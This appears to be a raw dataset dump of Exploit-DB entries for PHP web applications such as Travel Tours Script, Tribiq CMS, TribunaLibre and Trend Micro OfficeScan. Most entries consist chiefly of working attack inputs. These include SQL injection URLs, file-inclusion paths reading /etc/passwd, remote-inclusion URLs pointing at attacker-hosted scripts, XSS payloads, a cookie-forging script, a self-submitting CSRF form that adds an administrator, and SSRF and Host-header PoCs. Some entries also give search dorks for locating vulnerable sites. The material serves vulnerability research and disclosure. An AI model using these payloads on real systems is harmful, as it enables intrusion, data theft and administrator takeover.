deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41588
Description: Travel Tours Script 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Travel Tours Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/travel-tours-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=vpl&front=1&lid=1
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/front.php?controller=pjListings&action=pjActionIndex&sortby=stars&direction=[SQL]&listing_search=1&type=[SQL]&rating_from=[SQL]&rating_to=[SQL]&price_from=[SQL]&price_to=[SQL]
# Etc..
# # # # #
Exploit-DB #17236
Description: Travel411 - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-02
Author: Caddy-Dz

Exploit:
=====================================================================
                      .__         .__  __            .__    .___

  ____ ___  _________ |  |   ____ |__|/  |_          |__| __| _/
_/ __ \\  \/  /\____ \|  |  /  _ \|  \   __\  ______ |  |/ __ | 
\  ___/ >    < |  |_> >  |_(  <_> )  ||  |   /_____/ |  / /_/ | 

 \___  >__/\_ \|   __/|____/\____/|__||__|           |__\____ | 
     \/      \/|__|                                          \/ 
 
			Exploit-ID is the Indonesian Exploit Archive
 
Web             : exploit-id.com	

e-mail          : root[at]exploit-id.com               

            	   	 #########################################			  
		  	    Caddy-Dz , member of exploit-id.com				

		  	 #########################################			  
======================================================================
####
# Exploit Title: Travel411 SQL Injection Vulnerability
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia@hotmail.com
# Category:: webapps
# Google dork: intext:"Powered by Travel411.com"
# Tested on: [Windows Vista Edition Intégrale]
# Vendor: http://www.travel411.com/
####

||>> Special Greets To: jos_ali_joe & Exploit-Id Team + All Others

[*] ## ExPLo!T:

||>> Find Any File Like (info.php?id=) or (reservations.php?id=)

#  http://127.0.0.1/info.php?id=SQLI

#  http://127.0.0.1/info.php?id=-00030+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15--

###


===================================================================================================
# Greets To : 
  KedAns-Dz & **All Algerians Hackers** , jos_ali_joe , Exploit-Id Team , (exploit-id.com)
  All My Friends:  T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , RmZ ...others
===================================================================================================
Exploit-DB #31388
Description: Travelsized CMS 0.4.1 - 'index.php' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-03-12
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/28218/info

Travelsized CMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information in the context of the affected application.

Travelsized CMS 0.4.1 is vulnerale; other versions may also be affected. 

http://www.example.com/travelsized-0.4.1/index.php?page_id=../../../../../../../../../../etc/passwd%00
http://www.example.com/travelsized-0.4.1/index.php?language=../../../../../../../../../../etc/passwd%00
Exploit-DB #2611
Description: Trawler Web CMS 1.8.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-21
Author: k1tk4t

Exploit:
#########################################################################
# trawler <= 1.8.1  Remote File Inclusion
# Download Source : http://harald-kampen.de/trawler1.8.1.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
exploit;
http://localhost/_msdazu_pdata/redaktion/artikel/up/index.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/addtort.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/colorpik2.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/colorpik3.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/extras_menu.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/farbpalette.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/lese_inc.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/newfile.php?path_red2=http://shell
http://localhost/_msdazu_share/share/insert1.php?path_scr_dat2=http://shell
http://localhost/_msdazu_share/extras/downloads/index.php?path_red=http://shell
and many more bug in this packet trawler ver 1.8.1 <-- :( this packet is
openbug
########################################################################
Thanks;
str0ke
xoron [www.xoron.biz]
[mR]opt1lc,VaL,y3dips,lirva32,the_day,K-159
evilcode,illibero,NoGe,nyubi,x-ace,ghoz,
home_edition2001,matdhule,iFX,
and for all(friend's&enemy)
@irc.dal.net
#newhack[dot]org [all member&staff]
#e-c-h-o [all member echo community]
#nyubicrew [all member solpotcrew community]
#asiahacker [all member asiahacker community]

# milw0rm.com [2006-10-21]
Exploit-DB #51507
Description: Tree Page View Plugin 1.6.7 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-06-06
Author: LEE SE HYOUNG

Exploit:
# Exploit Title: Tree Page View Plugin 1.6.7 - Cross Site Scripting (XSS)
# Google Dork: inurl:/wp-content/plugins/cms-tree-page-view/
# Date: 2023-04-24
# Exploit Author: LEE SE HYOUNG (hackintoanetwork)
# Vendor Homepage: https://wordpress.org/plugins/cms-tree-page-view/
# Software Link: https://downloads.wordpress.org/plugin/cms-tree-page-view.1.6.6.zip
# Category: Web Application
# Version: 1.6.7
# Tested on: Debian / WordPress 6.1.1
# CVE : CVE-2023-30868
# Reference: https://patchstack.com/database/vulnerability/cms-tree-page-view/wordpress-cms-tree-page-view-plugin-1-6-7-cross-site-scripting-xss-vulnerability?_s_id=cve

# 1. Technical Description:
The CMS Tree Page View plugin for WordPress has a Reflected Cross-Site Scripting vulnerability up to version 1.6.7.
This is due to the post_type parameter not properly escaping user input. As a result, users with administrator privileges or higher can inject JavaScript code that will execute whenever accessed.


# 2. Proof of Concept (PoC):

WordPress CMS Tree Page View Plugin <= 1.6.7 Cross-Site Scripting (XSS)
In the case of this vulnerability, there are two XSS PoCs available: one for version 1.6.6 and another for version 1.6.7.

1. CMS Tree Page View Plugin <= 1.6.6

  a. Send the following URL to users with administrator privileges or higher: http://localhost:8888/wp-admin/edit.php?page=cms-tpv-page-post&post_type=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E.

  b.  your payload will be executed.  [!] note : To make the payload work, the "In menu" option under Settings -> CMS Tree Page View -> Select where to show a tree for pages and custom post types needs to be enabled for posts.

2. CMS Tree Page View Plugin <= 1.6.7

  a. Send the following URL to users with administrator privileges or higher: http://localhost:8888/wp-admin/edit.php?page=cms-tpv-page-post&post_type=%22+accesskey%3DC+onclick%3Djavascript%3Aalert%281%29%3B+a%3D%22.

  b. Your payload will execute the script when the user presses Ctrl + Alt + c (Mac) or Alt + Shift + c (Windows).
 [!] note : To make the payload work, the "In menu" option under Settings -> CMS Tree Page View -> Select where to show a tree for pages and custom post types needs to be enabled for posts.
Exploit-DB #42895
Description: Trend Micro OfficeScan 11.0/XG (12.0) - 'Host' Header Injection
Type: webapps
Platform: php
Date: 2017-09-28
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CVE-2017-14087-TRENDMICRO-OFFICESCAN-XG-HOST-HEADER-INJECTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
==================
www.trendmicro.com



Product:
========
OfficeScan 
v11.0 and XG (12.0)*


OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.



Vulnerability Type:
===================
Host Header Injection



CVE Reference:
==============
CVE-2017-14087



Security Issue:
================
Host header injection issue as "db_controller.php" relies on $_SERVER['HTTP_HOST'] which can be spoofed by client, instead of $_SERVER['SERVER_NAME'].
In environments where caching is in place by making HTTP GET request with a poisoned HOST header webpages can potentially render arbitrary
links that point to a malicious website.


Exploit/POC:
=============

c:\> CURL http://x.x.x.x -H "Host: ATTACKER-IP"



Network Access:
===============
Remote




Severity:
=========
Medium



Disclosure Timeline:
==================================
Vendor Notification:  June 2, 2017
Vendor releases fixes / advisory : September 27, 2017
September 28, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #42894
Description: Trend Micro OfficeScan 11.0/XG (12.0) - Server Side Request Forgery
Type: webapps
Platform: php
Date: 2017-09-28
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-OFFICESCAN-XG-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: ApparitionSec            
 


Vendor:
==================
www.trendmicro.com



Product:
===========
OfficeScan 
v11.0 and XG (12.0)*


OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.



Vulnerability Type:
===================
Unautherized Server Side Request Forgery



CVE Reference:
==============
N/A



Security Issue:
================
Unauthorized LAN attackers that can reach the OfficeScan XG application can make arbitrary HTTP requests to external and internal servers.
Abusing a Server Side Request Forgery flaw in the "help_Proxy.php" functionality.




Exploit/POC:
=============
https://VICTIM-IP:4343/officescan/console/html/Widget/help_proxy.php?url=http://<REQUESTED-IP>:8080

python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

<REQUESTED-IP> - - [31/May/2017 12:21:41] "GET / HTTP/1.1" 200 -

help_proxy.php HTTP response:
{"request_url":"http:\/\/<REQUESTED-IP>:8080","http_code":200,"flag":1}


Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification:  May 31, 2017
Vendor reply: "We confirmed that this is a valid vulnerability. We are now working on a hotfix to remediate the issue." : June 30, 2017
Vendor releases fixes / advisory : September 27, 2017
September 28, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #25243
Description: TRG News 3.0 Script - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-21
Author: Frank_Reiner

Exploit:
source: https://www.securityfocus.com/bid/12855/info

A remote file include vulnerability affects TRG News. This issue is due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical functionality.

Remote attackers could potentially exploit this issue to include a remote, malicious PHP script. Execution of remote scripts would take place in the context of the Web server hosting the vulnerable application. This will facilitate unauthorized access. 

http://www.example.com/trg_news30/trgnews/install/article.php?dir=http://www.example.org/attackerScript.php
Exploit-DB #36590
Description: Tribiq CMS - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-21
Author: Skote Vahshat

Exploit:
source: https://www.securityfocus.com/bid/51614/info

Tribiq CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[SQLi]
Exploit-DB #6888
Description: Tribiq CMS 5.0.10a (Windows) - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-31
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

Tribiqcms 5.0.10a (beta) Local File Inclusion Vulnerability

Vuln Code In : /Community-5.0.10a/templates/mytribiqsite/tribal-GPL-1066/includes/header.inc.php

<div id="header">
  <div id="logo"> <img src="templates/<?php echo $template_path;?>/images/logo.gif" alt="Company Name" /> </div>
  <div id="language_selector">
    <?php include "templates/".$template_path."/includes/language_box.inc.php";?> <--x
  </div>
  <div id="search_box">
    <div id="searchbox_holder">
      <?php include "templates/".$template_path."/includes/searchbox.inc.php";?><--x
    </div>
  </div>
</div>

POC :
/templates/mytribiqsite/tribal-GPL-1066/includes/header.inc.php?template_path=Local File %00

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-31]
Exploit-DB #6886
Description: Tribiq CMS 5.0.9a (Beta) - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: ZoRLu

Exploit:
biqcms 5.0.9a (beta) Insecure Cookie Handling Vulnerability
[~]
[~] donwload: http://sourceforge.net/project/showfiles.php?group_id=143555&package_id=232638&release_id=636935
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 30.10.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] -----------------------------------------------------------

code:

        setcookie ("COOKIE_LAST_ADMIN_USER", $newAdmin["username"], time()+8640000, '/');
        setcookie ("COOKIE_LAST_ADMIN_LANG", $newAdmin["use_language_id"], time()+8640000, '/');


Exploit:

javascript:document.cookie = "COOKIE_LAST_ADMIN_USER=real_admin_name; path=/"; document.cookie = "COOKIE_LAST_ADMIN_LANG=en-GB; path=/";

example for my localhost:

javascript:document.cookie = "COOKIE_LAST_ADMIN_USER=zorlu; path=/"; document.cookie = "COOKIE_LAST_ADMIN_LANG=en-GB; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------


# milw0rm.com [2008-10-31]
Exploit-DB #33510
Description: Tribisur - 'cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-13
Author: ViRuSMaN

Exploit:
source: https://www.securityfocus.com/bid/37800/info

Tribisur is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following example URI is available:

http://www.example.com/forum.php?action=liste&cat=[Xss Vuln]
Exploit-DB #11655
Description: TRIBISUR 2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-08
Author: cr4wl3r

Exploit:
# TRIBISUR <= 2.0 Local File Include Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Greetz: opt!x hacker, xoron, cyberlog, mywisdom, irvian, EA ngel, bL4Ck_3n91n3, xharu, zvtral, and all my friend

[+] Code:

<?

//************************** INCLUDE ***************************
include("./templates/$theme/hayoo_hpage.htm");
//********************   Nouveau visiteur    *******************
    $sql = "UPDATE hayoo_conf SET count = count +1 ";
//************************** FIN CONNECT DEBUT HTML ***************************
?>

[+] PoC: [path]/modules/hayoo/index.php?theme=[LFI%00]
Exploit-DB #27514
Description: Tribq CMS 5.2.7 - Cross-Site Request Forgery (Adding/Editing New Administrator Account)
Type: webapps
Platform: php
Date: 2013-08-12
Author: Yashar shahinzadeh

Exploit:
###########################################################################################
# Exploit Title: Tribq CMS CSRF - Adding/Editing new administrator account 
# Date: 2013 8 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://sourceforge.net/projects/tribiq/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 5.2.7
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###########################################################################################

Summary:
========
1. CSRF - Adding administrator account


1. CSRF - Adding administrator account:
=======================================
From my standpoint, Tribq is a good CMS which is immune to many well-known vulnerabilities aside from CSRF. There are too many devastating actions may be done by hacker by conducting CSRF attack, although the critical ones are changing administrator password or adding new one. I provide an example of adding new administrator account, the attack can be done easily, afterwards, such a plain text may be appeared:

{"adminId":20,"adminType":"local"}

<html>
	<body onload="submitForm()">
	<form name="myForm" id="myForm"
	action="http://localhost/community-5.2.7c/community-5.2.7c/tb/ajax/admin_details.php" method="post">
	<input type="hidden" name="save" value="true">
	<input type="hidden" name="adminType" value="local">
	<input type="hidden" name="formMode" value="edit">
	<input type="hidden" name="username" value="Yashar">
	<input type="hidden" name="password" value="Yashar123">
	<input type="hidden" name="password_reconfirm" value="Yashar123">
	<input type="hidden" name="first_name" value="test">
	<input type="hidden" name="last_name" value="test">
	<input type="hidden" name="email" value="test@test.com">
	</form>
	<script type='text/javascript'>document.myForm.submit();</script>
</html>

/** Yasshar shahinzadeh **/
Exploit-DB #2501
Description: TribunaLibre 3.12 Beta - 'ftag.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: DarkFig

Exploit:
#
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: TribunaLibre v3.12 Beta
# Download....: http://www.phplibre.com.es/downloads/TribunaLibre_v3.12_Beta.zip
# Poc.........: http://victim.com/ftag.php?mostrar=http://backdoor.txt?
# Vuln.code...: Line 106, <? include($_GET['mostrar']); ?>

# milw0rm.com [2006-10-10]